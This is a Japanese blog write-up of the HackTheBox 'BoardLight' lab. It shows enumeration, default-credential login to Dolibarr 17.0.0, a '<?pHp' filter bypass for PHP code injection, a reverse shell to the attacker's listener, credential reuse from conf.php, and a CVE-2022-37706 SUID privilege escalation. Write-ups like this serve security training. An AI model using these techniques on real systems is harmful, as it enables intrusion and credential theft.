0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】BoardLight :Writeup

Posted at

概要

HackTheBox「BoardLight」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.11 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41

80番ポートでWebアプリケーションにアクセスできました。
フッターからホスト名を確認できたので/etc/hostsに追加します。

home page.png

ディレクトリの列挙を行いましたが、興味深いものは見つかりませんでした。

$ dirsearch -u http://board.htb/
[03:50:45] 301 -  303B  - /js  ->  http://board.htb/js/
[03:51:06] 200 -    2KB - /about.php
[03:51:42] 200 -    2KB - /contact.php
[03:51:44] 301 -  304B  - /css  ->  http://board.htb/css/
[03:52:00] 301 -  307B  - /images  ->  http://board.htb/images/

サブドメインの列挙を行います。

$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.board.htb" -u http://board.htb -fs 15949
crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 300ms]

crm.board.htb/etc/hostsへ追加し、アクセスするとログインフォームが表示されました。

crm login form.png

また、Dolibarr 17.0.0を使用していると分かりました。

サブドメインのディレクトリ列挙を行います。

[04:04:24] 301 -  314B  - /admin  ->  http://crm.board.htb/admin/
[04:04:41] 301 -  312B  - /api  ->  http://crm.board.htb/api/
[04:04:41] 200 -  108B  - /api/
[04:04:52] 301 -  319B  - /categories  ->  http://crm.board.htb/categories/
[04:04:59] 301 -  316B  - /contact  ->  http://crm.board.htb/contact/       
[04:05:00] 301 -  313B  - /core  ->  http://crm.board.htb/core/
[04:05:00] 301 -  313B  - /cron  ->  http://crm.board.htb/cron/
04:05:13] 200 -    2KB - /favicon.ico
[04:05:15] 301 -  312B  - /ftp  ->  http://crm.board.htb/ftp/
[04:05:23] 301 -  317B  - /includes  ->  http://crm.board.htb/includes/
[04:05:24] 301 -  316B  - /install  ->  http://crm.board.htb/install/       
[04:05:25] 200 -  322B  - /install/index.php?upgrade/
[04:05:25] 200 -  322B  - /install/
[04:05:52] 301 -  316B  - /product  ->  http://crm.board.htb/product/       
[04:05:53] 301 -  315B  - /public  ->  http://crm.board.htb/public/
[04:05:53] 302 -    0B  - /public/  ->  /public/error-404.php
[04:05:56] 301 -  317B  - /resource  ->  http://crm.board.htb/resource/     
[04:05:57] 200 -  105B  - /robots.txt
[04:05:59] 200 -  176B  - /security.txt
[04:06:07] 301 -  316B  - /support  ->  http://crm.board.htb/support/       
[04:06:07] 200 -    1KB - /support/
[04:06:10] 301 -  314B  - /theme  ->  http://crm.board.htb/theme/
[04:06:13] 301 -  313B  - /user  ->  http://crm.board.htb/user/
[04:06:14] 301 -  319B  - /user/admin  ->  http://crm.board.htb/user/admin/ 
[04:06:20] 301 -  316B  - /website  ->  http://crm.board.htb/website/

Dolibarr 17.0.0のCVEを検索するとRCEの脆弱性が見つかりました。

この脆弱性を悪用するにはログインする必要があるので認証情報を探します。
デフォルト認証情報はadmin/adminadmin/changemeであると分かりました。

試しにUsername: admin,Password: adminでログインを試みると成功しました。

admin dashboard.png

下記のレポジトリを参考にRCEを試みます。

/website/index.phpへアクセスし、Webサイトの作成、ページの追加を行います。

add web page.png

Edit HTML SourceからPHPのソースコードを追加します。
<?php ?>だとエラーが出ますが、<?pHp ?>でバイパスできます。

<?pHp echo "test"; ?>

php source code.png

右上のSaveボタンで保存し右の双眼鏡ボタンから作成したページにアクセスすると、PHPのコードが実行されているのを確認できました。

php injection success.png

リバースシェルを実行します。
ソースコードはKaliに入っている/usr/share/webshells/php/php-reverse-shell.phpを使用しました。
先にNetcatでリッスンしておき、先ほどと同じ手順でソースコードを追加します。
追加したサイトにアクセスすると通信を確立できました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.158] from (UNKNOWN) [10.10.11.11] 52124
Linux boardlight 5.15.0-107-generic #117~20.04.1-Ubuntu SMP Tue Apr 30 10:35:57 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 01:54:38 up  2:08,  1 user,  load average: 0.02, 0.43, 0.69
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

/homeからlarissaユーザーの存在を確認できました。

$ ls -l /home
total 4
drwxr-x--- 15 larissa larissa 4096 May 17 01:04 larissa

認証情報を探します。
調べるとDolibarr 17.0.0では/var/www/html/crm.board.htb/htdocs/confに認証情報を書くようなのでファイルを見に行きます。
/var/www/html/crm.board.htb/htdocs/conf/conf.phpにDBの認証情報を発見しました。

/var/www/html/crm.board.htb/htdocs/conf/conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';

(省略)

発見したserverfun2$2023!!を使ってlarissaへSSH接続を試みると成功しました。

$ ssh larissa@board.htb 
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
larissa@board.htb's password: 
Last login: Thu Jul 11 01:30:16 2024 from 10.10.14.145
larissa@boardlight:~$

/home/user.txtからフラグを入手できます。

/home/user.txt
1a18643f7df7e96824adf90ca26cac86

Root Flag

Kaliからlinpeasをダウンロードし、実行します。

$ ./linpeas.sh

sudoのバージョンで脆弱性の悪用をいくつか試みましたが、成功しませんでした。

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version                                      
Sudo version 1.8.31

SUIDを見ると、enlightenmentにSUIDが設定されていると分かりました。

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                     
-rwsr-xr-x 1 root root 15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device                                            
-rwsr-sr-x 1 root root 15K Apr  8 18:36 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 27K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)

(省略)

enlightenment exploitなどで検索するとCVE-2022-37706がヒットしました。

このエクスプロイトコードを実行するとroot権限への昇格に成功しました。

$ ./exploit.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
058377e493076b7b9adc7efc112dbda5
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?